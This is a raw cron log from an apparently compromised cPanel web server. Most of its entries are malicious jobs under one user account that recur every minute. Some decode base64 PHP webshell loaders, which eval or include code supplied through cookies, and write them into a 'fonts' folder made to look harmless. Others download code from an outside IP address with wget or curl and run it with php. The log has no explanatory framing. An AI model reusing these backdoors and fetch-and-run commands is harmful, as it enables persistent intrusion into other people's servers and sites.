Sep  6 00:17:01 ip-184-168-122-23 CROND[15785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:17:01 ip-184-168-122-23 CROND[15787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:18:01 ip-184-168-122-23 CROND[15867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:18:01 ip-184-168-122-23 CROND[15865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:18:01 ip-184-168-122-23 CROND[15866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:18:01 ip-184-168-122-23 CROND[15868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:18:01 ip-184-168-122-23 CROND[15869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:19:01 ip-184-168-122-23 CROND[15949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:19:01 ip-184-168-122-23 CROND[15950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:19:01 ip-184-168-122-23 CROND[15952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:19:01 ip-184-168-122-23 CROND[15953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:20:01 ip-184-168-122-23 CROND[16126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:20:01 ip-184-168-122-23 CROND[16128]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:20:01 ip-184-168-122-23 CROND[16132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:21:01 ip-184-168-122-23 CROND[16322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:21:01 ip-184-168-122-23 CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:21:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:21:01 ip-184-168-122-23 CROND[16329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:22:01 ip-184-168-122-23 CROND[16410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:22:01 ip-184-168-122-23 CROND[16409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:22:01 ip-184-168-122-23 CROND[16415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:22:01 ip-184-168-122-23 CROND[16414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:22:01 ip-184-168-122-23 CROND[16413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:23:02 ip-184-168-122-23 CROND[16505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:23:02 ip-184-168-122-23 CROND[16506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:23:02 ip-184-168-122-23 CROND[16504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:23:02 ip-184-168-122-23 CROND[16507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:24:01 ip-184-168-122-23 CROND[16581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:24:01 ip-184-168-122-23 CROND[16582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:24:01 ip-184-168-122-23 CROND[16585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:24:01 ip-184-168-122-23 CROND[16586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:24:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:25:01 ip-184-168-122-23 CROND[16687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:25:01 ip-184-168-122-23 CROND[16684]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 00:26:02 ip-184-168-122-23 CROND[16903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:26:02 ip-184-168-122-23 CROND[16904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:26:02 ip-184-168-122-23 CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:26:02 ip-184-168-122-23 CROND[16906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:26:02 ip-184-168-122-23 CROND[16907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:27:01 ip-184-168-122-23 CROND[17025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:27:01 ip-184-168-122-23 CROND[17023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:27:01 ip-184-168-122-23 CROND[17024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:27:01 ip-184-168-122-23 CROND[17026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:28:01 ip-184-168-122-23 CROND[17101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:28:01 ip-184-168-122-23 CROND[17103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:28:01 ip-184-168-122-23 CROND[17104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:28:01 ip-184-168-122-23 CROND[17105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:28:01 ip-184-168-122-23 CROND[17106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:29:01 ip-184-168-122-23 CROND[17182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:29:01 ip-184-168-122-23 CROND[17183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:29:01 ip-184-168-122-23 CROND[17184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
